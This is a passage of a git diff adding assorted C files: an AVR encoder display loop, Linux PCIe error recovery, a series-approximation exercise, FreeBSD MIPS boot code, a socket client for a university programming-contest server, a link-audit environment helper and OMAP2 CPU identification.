+    return encoder_state;
+}
+
+uint8_t decodeEncodersState(uint8_t state, uint8_t encoder_select) {
+    /* let's look only at the last 4 bits. */
+    uint8_t index = 0;
+    if (encoder_select) {
+        index = (state >> 4) & LOW_BITS;
+    } else {
+        index = state & LOW_BITS;
+    }
+
+
+    return transition_table[index];
+
+}
+
+void ledDisplay(uint8_t x) {
+    PORTB = x;
+}
+
+int main() {
+    static uint8_t enc0_counter = 0;
+    static uint8_t enc1_counter = 0;
+    // int i = 0;
+    display = 0;
+    pinSetup();
+
+
+    while (1) {
+        _delay_us(100);
+        // setDisplayHighBits(readEncoderState() << 4);
+        // setDisplayLowBits(readEncoderState()); 
+
+        enc0_counter += decodeEncodersState(readEncoderState(), 0);
+        enc1_counter += decodeEncodersState(readEncoderState(), 1);
+
+        // bit shift by one to make them a bit less sensitive. 
+        display = ((enc0_counter >> 1) << 4) | ((enc1_counter >> 1) & LOW_BITS); 
+        
+        ledDisplay( display );
+    }
+}
diff --git a/pool/shard001/C/0023708_err.c b/pool/shard001/C/0023708_err.c
new file mode 100644
index 0000000000000000000000000000000000000000..01dfc8bb7ca072c10404e222f0b1a2ef648d4219
--- /dev/null
+++ b/pool/shard001/C/0023708_err.c
@@ -0,0 +1,248 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * This file implements the error recovery as a core part of PCIe error
+ * reporting. When a PCIe error is delivered, an error message will be
+ * collected and printed to console, then, an error recovery procedure
+ * will be executed by following the PCI error recovery rules.
+ *
+ * Copyright (C) 2006 Intel Corp.
+ *	Tom Long Nguyen (tom.l.nguyen@intel.com)
+ *	Zhang Yanmin (yanmin.zhang@intel.com)
+ */
+
+#define dev_fmt(fmt) "AER: " fmt
+
+#include <linux/pci.h>
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/errno.h>
+#include <linux/aer.h>
+#include "portdrv.h"
+#include "../pci.h"
+
+static pci_ers_result_t merge_result(enum pci_ers_result orig,
+				  enum pci_ers_result new)
+{
+	if (new == PCI_ERS_RESULT_NO_AER_DRIVER)
+		return PCI_ERS_RESULT_NO_AER_DRIVER;
+
+	if (new == PCI_ERS_RESULT_NONE)
+		return orig;
+
+	switch (orig) {
+	case PCI_ERS_RESULT_CAN_RECOVER:
+	case PCI_ERS_RESULT_RECOVERED:
+		orig = new;
+		break;
+	case PCI_ERS_RESULT_DISCONNECT:
+		if (new == PCI_ERS_RESULT_NEED_RESET)
+			orig = PCI_ERS_RESULT_NEED_RESET;
+		break;
+	default:
+		break;
+	}
+
+	return orig;
+}
+
+static int report_error_detected(struct pci_dev *dev,
+				 enum pci_channel_state state,
+				 enum pci_ers_result *result)
+{
+	pci_ers_result_t vote;
+	const struct pci_error_handlers *err_handler;
+
+	device_lock(&dev->dev);
+	if (!pci_dev_set_io_state(dev, state) ||
+		!dev->driver ||
+		!dev->driver->err_handler ||
+		!dev->driver->err_handler->error_detected) {
+		/*
+		 * If any device in the subtree does not have an error_detected
+		 * callback, PCI_ERS_RESULT_NO_AER_DRIVER prevents subsequent
+		 * error callbacks of "any" device in the subtree, and will
+		 * exit in the disconnected error state.
+		 */
+		if (dev->hdr_type != PCI_HEADER_TYPE_BRIDGE) {
+			vote = PCI_ERS_RESULT_NO_AER_DRIVER;
+			pci_info(dev, "can't recover (no error_detected callback)\n");
+		} else {
+			vote = PCI_ERS_RESULT_NONE;
+		}
+	} else {
+		err_handler = dev->driver->err_handler;
+		vote = err_handler->error_detected(dev, state);
+	}
+	pci_uevent_ers(dev, vote);
+	*result = merge_result(*result, vote);
+	device_unlock(&dev->dev);
+	return 0;
+}
+
+static int report_frozen_detected(struct pci_dev *dev, void *data)
+{
+	return report_error_detected(dev, pci_channel_io_frozen, data);
+}
+
+static int report_normal_detected(struct pci_dev *dev, void *data)
+{
+	return report_error_detected(dev, pci_channel_io_normal, data);
+}
+
+static int report_mmio_enabled(struct pci_dev *dev, void *data)
+{
+	pci_ers_result_t vote, *result = data;
+	const struct pci_error_handlers *err_handler;
+
+	device_lock(&dev->dev);
+	if (!dev->driver ||
+		!dev->driver->err_handler ||
+		!dev->driver->err_handler->mmio_enabled)
+		goto out;
+
+	err_handler = dev->driver->err_handler;
+	vote = err_handler->mmio_enabled(dev);
+	*result = merge_result(*result, vote);
+out:
+	device_unlock(&dev->dev);
+	return 0;
+}
+
+static int report_slot_reset(struct pci_dev *dev, void *data)
+{
+	pci_ers_result_t vote, *result = data;
+	const struct pci_error_handlers *err_handler;
+
+	device_lock(&dev->dev);
+	if (!dev->driver ||
+		!dev->driver->err_handler ||
+		!dev->driver->err_handler->slot_reset)
+		goto out;
+
+	err_handler = dev->driver->err_handler;
+	vote = err_handler->slot_reset(dev);
+	*result = merge_result(*result, vote);
+out:
+	device_unlock(&dev->dev);
+	return 0;
+}
+
+static int report_resume(struct pci_dev *dev, void *data)
+{
+	const struct pci_error_handlers *err_handler;
+
+	device_lock(&dev->dev);
+	if (!pci_dev_set_io_state(dev, pci_channel_io_normal) ||
+		!dev->driver ||
+		!dev->driver->err_handler ||
+		!dev->driver->err_handler->resume)
+		goto out;
+
+	err_handler = dev->driver->err_handler;
+	err_handler->resume(dev);
+out:
+	pci_uevent_ers(dev, PCI_ERS_RESULT_RECOVERED);
+	device_unlock(&dev->dev);
+	return 0;
+}
+
+/**
+ * default_reset_link - default reset function
+ * @dev: pointer to pci_dev data structure
+ *
+ * Invoked when performing link reset on a Downstream Port or a
+ * Root Port with no aer driver.
+ */
+static pci_ers_result_t default_reset_link(struct pci_dev *dev)
+{
+	int rc;
+
+	rc = pci_bus_error_reset(dev);
+	pci_printk(KERN_DEBUG, dev, "downstream link has been reset\n");
+	return rc ? PCI_ERS_RESULT_DISCONNECT : PCI_ERS_RESULT_RECOVERED;
+}
+
+static pci_ers_result_t reset_link(struct pci_dev *dev, u32 service)
+{
+	pci_ers_result_t status;
+	struct pcie_port_service_driver *driver = NULL;
+
+	driver = pcie_port_find_service(dev, service);
+	if (driver && driver->reset_link) {
+		status = driver->reset_link(dev);
+	} else if (pcie_downstream_port(dev)) {
+		status = default_reset_link(dev);
+	} else {
+		pci_printk(KERN_DEBUG, dev, "no link-reset support at upstream device %s\n",
+			pci_name(dev));
+		return PCI_ERS_RESULT_DISCONNECT;
+	}
+
+	if (status != PCI_ERS_RESULT_RECOVERED) {
+		pci_printk(KERN_DEBUG, dev, "link reset at upstream device %s failed\n",
+			pci_name(dev));
+		return PCI_ERS_RESULT_DISCONNECT;
+	}
+
+	return status;
+}
+
+void pcie_do_recovery(struct pci_dev *dev, enum pci_channel_state state,
+		      u32 service)
+{
+	pci_ers_result_t status = PCI_ERS_RESULT_CAN_RECOVER;
+	struct pci_bus *bus;
+
+	/*
+	 * Error recovery runs on all subordinates of the first downstream port.
+	 * If the downstream port detected the error, it is cleared at the end.
+	 */
+	if (!(pci_pcie_type(dev) == PCI_EXP_TYPE_ROOT_PORT ||
+	      pci_pcie_type(dev) == PCI_EXP_TYPE_DOWNSTREAM))
+		dev = dev->bus->self;
+	bus = dev->subordinate;
+
+	pci_dbg(dev, "broadcast error_detected message\n");
+	if (state == pci_channel_io_frozen)
+		pci_walk_bus(bus, report_frozen_detected, &status);
+	else
+		pci_walk_bus(bus, report_normal_detected, &status);
+
+	if (state == pci_channel_io_frozen &&
+	    reset_link(dev, service) != PCI_ERS_RESULT_RECOVERED)
+		goto failed;
+
+	if (status == PCI_ERS_RESULT_CAN_RECOVER) {
+		status = PCI_ERS_RESULT_RECOVERED;
+		pci_dbg(dev, "broadcast mmio_enabled message\n");
+		pci_walk_bus(bus, report_mmio_enabled, &status);
+	}
+
+	if (status == PCI_ERS_RESULT_NEED_RESET) {
+		/*
+		 * TODO: Should call platform-specific
+		 * functions to reset slot before calling
+		 * drivers' slot_reset callbacks?
+		 */
+		status = PCI_ERS_RESULT_RECOVERED;
+		pci_dbg(dev, "broadcast slot_reset message\n");
+		pci_walk_bus(bus, report_slot_reset, &status);
+	}
+
+	if (status != PCI_ERS_RESULT_RECOVERED)
+		goto failed;
+
+	pci_dbg(dev, "broadcast resume message\n");
+	pci_walk_bus(bus, report_resume, &status);
+
+	pci_aer_clear_device_status(dev);
+	pci_cleanup_aer_uncorrect_error_status(dev);
+	pci_info(dev, "device recovery successful\n");
+	return;
+
+failed:
+	pci_uevent_ers(dev, PCI_ERS_RESULT_DISCONNECT);
+
+	/* TODO: Should kernel panic here? */
+	pci_info(dev, "device recovery failed\n");
+}
diff --git a/pool/shard001/C/0023713_6-14.c b/pool/shard001/C/0023713_6-14.c
new file mode 100644
index 0000000000000000000000000000000000000000..c1185257473c862a57369efa219baab970483e09
--- /dev/null
+++ b/pool/shard001/C/0023713_6-14.c
@@ -0,0 +1,74 @@
+/*********************************************************
+*		FUNC. EVALUTION				 *
+*	Author: Reez Patel				 *
+*	Source: Ex: 6.14 (P-190) = ANSI-C		 *
+**********************************************************/
+#include <stdio.h>
+#include <math.h>
+
+long long int fact(int n)
+{
+	long long int sum = 1;
+	while(n > 0)
+		sum *= n--;
+
+	return sum;
+}
+
+float sin_x(int);
+float cos_x(int);
+float sum_x(void);
+
+int main()
+{
+	int n;
+	printf("Enter A Number: ");
+	scanf("%d",&n);
+	printf("sin(%d) = %.4f \n",n,sin_x(n));
+	printf("cos(%d) = %.4f \n",n,cos_x(n));
+	printf("SUM = %.4f \n",sum_x());
+
+	return 0;
+}
+
+float sin_x(int x)
+{
+	float acu = 2,sum=0;
+	int i = 1,n=1;
+	while(acu > 0.0001 )
+	{
+		sum += (i*pow(x,n))/(float)fact(n);
+		acu = (pow(x,n))/(float)fact(n);
+		i = -i;
+		n += 2;
+	}
+
+	return sum;
+}
+float cos_x(int x)
+{
+	float acu = 2,sum=0;
+	int i = 1,n=0;
+	while(acu > 0.0001 )
+	{
+		sum += (i*pow(x,n))/(float)fact(n);
+		acu = (pow(x,n))/(float)fact(n);
+		i = -i;
+		n += 2;
+	}
+
+	return sum;
+}
+float sum_x(void)
+{
+	float acu = 2,sum=0;
+	int n=1;
+	while(acu > 0.0001 )
+	{
+		sum += 1/(float)pow(n,n);
+		acu = 1/(float)pow(n,n);
+		n++;
+	}
+
+	return sum;
+}
diff --git a/pool/shard001/C/0023724_rt305x_machdep.c b/pool/shard001/C/0023724_rt305x_machdep.c
new file mode 100644
index 0000000000000000000000000000000000000000..07342bde9edad38d8138448aedc4762bbdea44cc
--- /dev/null
+++ b/pool/shard001/C/0023724_rt305x_machdep.c
@@ -0,0 +1,191 @@
+/*-
+ * Copyright (C) 2010-2011 by Aleksandr Rybalko. All rights reserved.
+ * Copyright (C) 2007 by Oleksandr Tymoshenko. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+ * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+ * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+ * IN NO EVENT SHALL THE AUTHOR OR HIS RELATIVES BE LIABLE FOR ANY DIRECT,
+ * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF MIND, USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+ * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
+ * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
+ * THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ */
+
+#include <sys/cdefs.h>
+__FBSDID("$FreeBSD$");
+
+#include "opt_ddb.h"
+
+#include <sys/param.h>
+#include <sys/conf.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+#include <sys/imgact.h>
+#include <sys/bio.h>
+#include <sys/buf.h>
+#include <sys/bus.h>
+#include <sys/cpu.h>
+#include <sys/cons.h>
+#include <sys/exec.h>
+#include <sys/ucontext.h>
+#include <sys/proc.h>
+#include <sys/kdb.h>
+#include <sys/ptrace.h>
+#include <sys/reboot.h>
+#include <sys/signalvar.h>
+#include <sys/sysent.h>
+#include <sys/sysproto.h>
+#include <sys/user.h>
+
+#include <vm/vm.h>
+#include <vm/vm_object.h>
+#include <vm/vm_page.h>
+
+#include <machine/cache.h>
+#include <machine/clock.h>
+#include <machine/cpu.h>
+#include <machine/cpuinfo.h>
+#include <machine/cpufunc.h>
+#include <machine/cpuregs.h>
+#include <machine/hwfunc.h>
+#include <machine/intr_machdep.h>
+#include <machine/locore.h>
+#include <machine/md_var.h>
+#include <machine/pte.h>
+#include <machine/sigframe.h>
+#include <machine/trap.h>
+#include <machine/vmparam.h>
+
+#include <mips/rt305x/rt305xreg.h>
+
+extern int	*edata;
+extern int	*end;
+static char 	boot1_env[0x1000];
+
+
+void
+platform_cpu_init()
+{
+	/* Nothing special */
+}
+
+static void
+mips_init(void)
+{
+	int i;
+
+	printf("entry: mips_init()\n");
+
+	bootverbose = 1;
+	realmem = btoc(32 << 20);
+
+	for (i = 0; i < 10; i++) {
+		phys_avail[i] = 0;
+	}
+
+	/* phys_avail regions are in bytes */
+	dump_avail[0] = phys_avail[0] = MIPS_KSEG0_TO_PHYS(kernel_kseg0_end);
+	dump_avail[1] = phys_avail[1] = ctob(realmem);
+
+	physmem = realmem;
+
+	init_param1();
+	init_param2(physmem);
+	mips_cpu_init();
+	pmap_bootstrap();
+	mips_proc0_init();
+	mutex_init();
+	kdb_init();
+#ifdef KDB
+	if (boothowto & RB_KDB)
+		kdb_enter(KDB_WHY_BOOTFLAGS, "Boot flags requested debugger");
+#endif
+}
+
+void
+platform_reset(void)
+{
+
+	__asm __volatile("li	$25, 0xbf000000");
+	__asm __volatile("j	$25");
+}
+
+void
+platform_start(__register_t a0 __unused, __register_t a1 __unused, 
+    __register_t a2 __unused, __register_t a3 __unused)
+{
+	vm_offset_t kernend;
+	uint64_t platform_counter_freq = PLATFORM_COUNTER_FREQ;
+	int i;
+	int argc = a0;
+	char **argv = (char **)MIPS_PHYS_TO_KSEG0(a1);
+	char **envp = (char **)MIPS_PHYS_TO_KSEG0(a2);
+
+	/* clear the BSS and SBSS segments */
+	kernend = (vm_offset_t)&end;
+	memset(&edata, 0, kernend - (vm_offset_t)(&edata));
+
+	mips_postboot_fixup();
+
+	/* Initialize pcpu stuff */
+	mips_pcpu0_init();
+
+	/* initialize console so that we have printf */
+	boothowto |= (RB_SERIAL | RB_MULTIPLE);	/* Use multiple consoles */
+	boothowto |= (RB_VERBOSE);
+	cninit();
+
+	init_static_kenv(boot1_env, sizeof(boot1_env));
+
+	printf("U-Boot args (from %d args):\n", argc - 1);
+
+	if (argc == 1)
+		printf("\tNone\n");
+
+	for (i = 1; i < argc; i++) {
+		char *n = "argv  ", *arg;
+
+		if (i > 99)
+			break;
+
+		if (argv[i])
+		{
+			arg = (char *)(intptr_t)MIPS_PHYS_TO_KSEG0(argv[i]);
+			printf("\targv[%d] = %s\n", i, arg);
+			sprintf(n, "argv%d", i);
+			setenv(n, arg);
+		}
+	}
+
+	printf("Environment:\n");
+
+	for (i = 0; envp[i] ; i++) {
+		char *n, *arg;
+
+		arg = (char *)(intptr_t)MIPS_PHYS_TO_KSEG0(envp[i]);
+		printf("\t%s\n", arg);
+		n = strsep(&arg, "=");
+		if (arg == NULL)
+			setenv(n, "1");
+		else
+			setenv(n, arg);
+	}
+
+
+	mips_init();
+	mips_timer_init_params(platform_counter_freq, 2);
+}
diff --git a/pool/shard001/C/0023753_stub.c b/pool/shard001/C/0023753_stub.c
new file mode 100644
index 0000000000000000000000000000000000000000..48fb3d7f72e0d1a929fd265cf9998906fc4b7723
--- /dev/null
+++ b/pool/shard001/C/0023753_stub.c
@@ -0,0 +1,148 @@
+#include <ctype.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netdb.h>
+#include <netinet/in.h>
+#include <unistd.h>
+#include <string.h>
+#include <stdio.h>
+
+/* para copilar en linux ejecutar desde consola
+> gcc stub.cpp -o ej1
+ luego ejecutar desde consola con 
+>./ej1
+*/
+
+int sock;
+struct sockaddr_in client;
+int PORT = 80;
+char buffer[10024],*tokenSolicitud, *parametro[20];
+void setupSocket(char* hostname) {
+	struct hostent * host = gethostbyname(hostname);
+
+	if ( (host == NULL) || (host->h_addr == NULL) ) {
+		printf("Error retrieving DNS information.");
+		exit(1);
+	}
+
+	bzero(&client, sizeof(client));
+	client.sin_family = AF_INET;
+	client.sin_port = htons( PORT );
+	memcpy(&client.sin_addr, host->h_addr, host->h_length);
+
+	sock = socket(AF_INET, SOCK_STREAM, 0);
+	
+	if (sock < 0) {
+		printf( "Error creating socket." );
+		exit(1);
+	}
+}
+
+void connectToHost(char* hostname) {
+	if ( connect(sock, (struct sockaddr *)&client, sizeof(client)) < 0 ) {
+		close(sock);
+		printf( "Could not connect to %s", hostname );
+		exit(1);
+	}
+}
+
+void enviarSolicitud(char* hostname, char* token,char* problema) {
+        char request[1000];
+        setupSocket(hostname);
+        connectToHost(hostname);
+	sprintf(request,"GET /index.php?r=juego/solicitud&token=%s&problema=%s HTTP/1.1\r\nHost: %s\r\n\r\n",token,problema,hostname);
+	printf("se envia request: %s", request);
+	if (send(sock, request, sizeof(request), 0) != (int)sizeof(request)) {
+		printf( "Error sending request." );
+		exit(1);
+	}
+        getBuffer();
+        
+}
+/*
+>telnet hornero.fi.uncoma.edu.ar 80
+GET /index.php?r=juego/solicitud&token=eb1d954e6cfa2749f7624b0eda4a939f&problema=1 HTTP/1.1   
+Host: hornero.fi.uncoma.edu.ar
+*/
+void enviarRespuesta(char* hostname,char* respuesta) {
+	char request[1000];
+        setupSocket(hostname);
+        connectToHost(hostname);
+        sprintf(request,"GET /index.php?r=juego/respuesta&tokenSolicitud=%s&solucion=%s HTTP/1.1\r\nHost: %s\r\n\r\n",tokenSolicitud,respuesta,hostname);
+	printf("se envia request: %s", request);
+	if (send(sock, request, sizeof(request), 0) != (int)sizeof(request)) {
+		printf( "Error sending request." );
+		exit(1);
+	}
+        getBuffer();
+}
+void getResponse() {
+	char cur;
+
+	while ( read(sock, &cur, 1) > 0 ) {
+		printf("%c", cur);
+	}
+
+}
+int getBuffer(){
+	int bytes_read;     
+	bzero(buffer, sizeof(buffer));
+     	bytes_read = recv(sock, buffer, sizeof(buffer), 0);
+     	return bytes_read;
+}
+
+void parser(int cantidadParametros){
+    const char delimiters[] = "\",{}:";
+    char *token, *cp;
+    int i;
+    	cp = buffer+15;//strdupa (buffer+155);
+	token = strtok (cp, delimiters);
+	printf("token:%s",token);
+	while(strcmp(token,"parametrosEntrada")!=0){	
+		token = strtok (NULL, delimiters);
+		printf("token:%s",token);	
+	}
+/* copiar esta linea por cada uno de los parámetros*/	
+        for(i=0;i<cantidadParametros&&i<20;i++){
+            parametro[i]=strtok (NULL, delimiters);
+            printf("parametro %d:%s",i+1,parametro[i]);
+        }
+//	parametro[0] = strtok (NULL, delimiters);
+//	parametro[1] = strtok (NULL, delimiters);
+
+	/*printf("parametro 1:%s",parametro[0]);
+	printf("parametro 2:%s/n",parametro[1]);	*/
+
+	while(strcmp(token,"token")!=0){	
+		token = strtok (NULL, delimiters);
+		printf("token:%s",token);	
+	}
+        
+	tokenSolicitud = strtok(NULL, delimiters);
+	printf("tokenSolicitud:%s/n",tokenSolicitud);	
+}
+int main(int argc, char** argv) {
+ 	
+	int cantidadParametros=2;
+     	char respuestas[1000];
+	int respuesta;
+	char host[255]="hornero.fi.uncoma.edu.ar";
+        /* Modificar tokenTorneo y numero de Problema*/
+        
+	char tokenTorneo[33]="eb1d954e6cfa2749f7624b0eda4a939f";
+	char problema[3]="1";	
+	enviarSolicitud(host,tokenTorneo,problema);
+	parser(cantidadParametros);
+/* hacer el cálculo transformando los parámetros y guardando la respuesta en el *char respuestas*/
+        
+	respuesta=atoi(parametro[0])+atoi(parametro[1]);
+		
+	sprintf(respuestas,"%d",respuesta);
+        
+/*****************************************************************************/        
+        enviarRespuesta(host,respuestas);
+        printf("Respuesta %s",buffer);
+	return 0;
+}
+
diff --git a/pool/shard001/C/0023761_env.c b/pool/shard001/C/0023761_env.c
new file mode 100644
index 0000000000000000000000000000000000000000..00d7e62aba019b7a20fa4ae72c93e2667e467184
--- /dev/null
+++ b/pool/shard001/C/0023761_env.c
@@ -0,0 +1,79 @@
+/*
+ * This is from a demo program of link_audit by Oracle with minor changes
+ * 
+ */
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+#include <sys/types.h>
+#include "env.h"
+
+static const char *token = ":";
+
+void
+build_env_list(Elist **list, const char *env)
+{
+	char	*envstr;
+	char	*tok;
+	char	*lasts;
+
+	if ((envstr = getenv(env)) == NULL)
+		return;
+	envstr = strdup(envstr);
+	tok = strtok_r(envstr, token, &lasts);
+	while (tok) {
+		Elist	*lp;
+		if ((lp = (Elist *)malloc(sizeof (Elist))) == NULL) {
+			(void) printf("build_list: malloc failed\n");
+			exit(1);
+		}
+		lp->l_libname = strdup(tok);
+		lp->l_next = *list;
+		*list = lp;
+		tok = strtok_r(NULL, token, &lasts);
+	}
+	free(envstr);
+}
+
+
+Elist *
+check_list(Elist *list, const char *str)
+{
+	const char	*basestr;
+
+	if (list == NULL)
+		return (NULL);
+
+	/*
+	 * Is this a basename or a relative path name
+	 */
+	if ((basestr = strrchr(str, '/')) != NULL)
+		basestr++;
+	else
+		basestr = str;
+
+
+	for (; list; list = list->l_next) {
+		if (strchr(list->l_libname, '/') == NULL) {
+			if (strcmp(basestr, list->l_libname) == 0)
+				return (list);
+		} else {
+			if (strcmp(str, list->l_libname) == 0)
+				return (list);
+		}
+	}
+	return (NULL);
+}
+
+char *
+checkenv(const char *env)
+{
+	char	*envstr;
+	if ((envstr = getenv(env)) == NULL)
+		return (NULL);
+	while (*envstr == ' ')
+		envstr++;
+	if (*envstr == '\0')
+		return (NULL);
+	return (envstr);
+}
diff --git a/pool/shard001/C/0023762_id.c b/pool/shard001/C/0023762_id.c
new file mode 100644
index 0000000000000000000000000000000000000000..4cd03b40ed95cc51f4170c2e1e3eaa79856e183d
--- /dev/null
+++ b/pool/shard001/C/0023762_id.c
@@ -0,0 +1,187 @@
+/*
+ * linux/arch/arm/mach-omap2/id.c
+ *
+ * OMAP2 CPU identification code
+ *
+ * Copyright (C) 2005 Nokia Corporation
+ * Written by Tony Lindgren <tony@atomide.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ */
+
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/init.h>
+
+#include <asm/arch/control.h>
+#include <asm/io.h>
+
+unsigned int scalability_status;
+
+
+#if defined(CONFIG_ARCH_OMAP2420)
+#define TAP_BASE	io_p2v(0x48014000)
+#elif defined(CONFIG_ARCH_OMAP2430)
+#define TAP_BASE	io_p2v(0x4900A000)
+#endif
+
+#define OMAP_TAP_IDCODE		0x0204
+#define OMAP_TAP_PROD_ID	0x0208
+#define OMAP_TAP_DIE_ID_0	0x0218
+#define OMAP_TAP_DIE_ID_1	0x021C
+#define OMAP_TAP_DIE_ID_2	0x0220
+#define OMAP_TAP_DIE_ID_3	0x0224
+
+/* system_rev fields for OMAP2 processors:
+ *   CPU id bits     [31:16],
+ *   CPU device type [15:12], (unprg,normal,POP)
+ *   CPU revision    [11:08]
+ *   CPU class bits  [07:00]
+ */
+
+struct omap_id {
+	u16	hawkeye;	/* Silicon type (Hawkeye id) */
+	u8	dev;		/* Device type from production_id reg */
+	u32	type;		/* combined type id copied to system_rev */
+};
+
+/* Register values to detect the OMAP version */
+static struct omap_id omap_ids[] __initdata = {
+	{ .hawkeye = 0xb5d9, .dev = 0x0, .type = 0x24200000 },
+	{ .hawkeye = 0xb5d9, .dev = 0x1, .type = 0x24201000 },
+	{ .hawkeye = 0xb5d9, .dev = 0x2, .type = 0x24202000 },
+	{ .hawkeye = 0xb5d9, .dev = 0x4, .type = 0x24220000 },
+	{ .hawkeye = 0xb5d9, .dev = 0x8, .type = 0x24230000 },
+	{ .hawkeye = 0xb68a, .dev = 0x0, .type = 0x24300000 },
+	{ .hawkeye = 0xb68a, .dev = 0x1, .type = 0x24301000 },
+	{ .hawkeye = 0xb68a, .dev = 0x2, .type = 0x24302000 },
+	{ .hawkeye = 0xb6d6, .dev = 0x0, .type = 0x34300000 },
+	{ .hawkeye = 0xb7ae, .dev = 0x0, .type = 0x34301000 },
+	{ .hawkeye = 0xb7ae, .dev = 0x1, .type = 0x34302000 },
+};
+
+static u32 __init read_tap_reg(int reg)
+{
+	unsigned int regval = 0;
+	u32 cpuid;
+
+	/* Reading the IDCODE register on 3430 ES1 results in a
+	 * data abort as the register is not exposed on the OCP
+	 * Hence reading the Cortex Rev
+	 */
+	cpuid = read_cpuid(CPUID_ID);
+
+	/* If the processor type is Cortex-A8 and the revision is 0x0
+	 * it means its Cortex r0p0 which is 3430 ES1
+	 */
+	if ((((cpuid >> 4) & 0xFFF) == 0xC08) && ((cpuid & 0xF) == 0x0)) {
+		switch (reg) {
+//		case OMAP_TAP_IDCODE  : regval = 0x0B7AE02F; break;
+		/* lets return the value from TRM  */
+		case OMAP_TAP_IDCODE  : regval = 0x0B6D602F; break;
+		/* Making DevType as 0xF in ES1 to differ from ES2 */
+		case OMAP_TAP_PROD_ID : regval = 0x000F00F0; break;
+		case OMAP_TAP_DIE_ID_0: regval = 0x01000000; break;
+		case OMAP_TAP_DIE_ID_1: regval = 0x1012d687; break;
+		case OMAP_TAP_DIE_ID_2:	regval = 0x00000000; break;
+		case OMAP_TAP_DIE_ID_3:	regval = 0x2d2c0000; break;
+		}
+	} else
+		regval = __raw_readl(TAP_BASE + reg);
+
+	return regval;
+
+}
+
+void __init omap2_check_revision(void)
+{
+	int ctrl_status = 0;
+	int i, j;
+	u32 idcode;
+	u32 prod_id;
+	u16 hawkeye;
+//	u8  dev_type;
+	u8  dev_rev;
+
+	idcode = read_tap_reg(OMAP_TAP_IDCODE);
+	prod_id = read_tap_reg(OMAP_TAP_PROD_ID);
+	hawkeye = (idcode >> 12) & 0xffff;
+	dev_rev  = (idcode >> 28) & 0x0f;
+//	dev_type = (prod_id >> 16) & 0x0f;
+
+#ifdef DEBUG
+	printk(KERN_DEBUG "OMAP_TAP_IDCODE 0x%08x REV %i HAWKEYE 0x%04x MANF %03x\n",
+		idcode, dev_rev, hawkeye, (idcode >> 1) & 0x7ff);
+	printk(KERN_DEBUG "OMAP_TAP_DIE_ID_0: 0x%08x\n",
+		read_tap_reg(OMAP_TAP_DIE_ID_0));
+	printk(KERN_DEBUG "OMAP_TAP_DIE_ID_1: 0x%08x DEV_REV: %i\n",
+		read_tap_reg(OMAP_TAP_DIE_ID_1),
+	       (read_tap_reg(OMAP_TAP_DIE_ID_1) >> 28) & 0xf);
+	printk(KERN_DEBUG "OMAP_TAP_DIE_ID_2: 0x%08x\n",
+		read_tap_reg(OMAP_TAP_DIE_ID_2));
+	printk(KERN_DEBUG "OMAP_TAP_DIE_ID_3: 0x%08x\n",
+		read_tap_reg(OMAP_TAP_DIE_ID_3));
+//	printk(KERN_DEBUG "OMAP_TAP_PROD_ID_0: 0x%08x DEV_TYPE: %i\n",
+//		prod_id, dev_type);
+#endif
+
+	/* Check hawkeye ids */
+	for (i = 0; i < ARRAY_SIZE(omap_ids); i++) {
+		if (hawkeye == omap_ids[i].hawkeye)
+			break;
+	}
+
+	if (i == ARRAY_SIZE(omap_ids)) {
+		printk(KERN_ERR "Unknown OMAP CPU id\n");
+		return;
+	}
+
+	for (j = i; j < ARRAY_SIZE(omap_ids); j++) {
+		if (dev_rev == omap_ids[j].dev)
+			break;
+	}
+
+	if (j == ARRAY_SIZE(omap_ids)) {
+		printk(KERN_ERR "Unknown OMAP device type. "
+				"Handling it as OMAP%04x\n",
+				omap_ids[i].type >> 16);
+		j = i;
+	}
+
+	/*
+	 * system_rev encoding is as follows
+	 * system_rev & 0xff000000 -> Omap Class (24xx/34xx)
+	 * system_rev & 0xfff00000 -> Omap Sub Class (242x/343x)
+	 * system_rev & 0xffff0000 -> Omap type (2420/2422/2423/2430/3430)
+	 * system_rev & 0x0000f000 -> Silicon revision (ES1, ES2 )
+	 * system_rev & 0x00000700 -> Device Type ( EMU/HS/GP/BAD )
+	 * system_rev & 0x0000003f -> sys_boot[0:5]
+	 */
+	/* Embedding the ES revision info in type field */
+	system_rev = omap_ids[j].type;
+
+	ctrl_status = omap_ctrl_readl(OMAP24XX_CONTROL_STATUS);
+	system_rev |= (ctrl_status & 0x3f);
+	system_rev |= (ctrl_status & 0x700);
+
+	pr_info("OMAP%04x", system_rev >> 16);
+	if ((system_rev >> 8) & 0x0f) {
+#if 0		
+//		printk("ES%x", (system_rev >> 12) & 0xf);
+#else
+		switch ((system_rev >> 12) & 0xf)
+		{
+			case 0:  printk("ES1.0"); break;
+			case 1:  printk("ES2.0"); break;
+			case 2:  printk("ES2.1"); break;
+			default: 
+				 printk("ES(0x%x)",((system_rev >> 12) & 0xf));
+			break;
+		}
+#endif
+	}
+	printk("\n");
+}
+
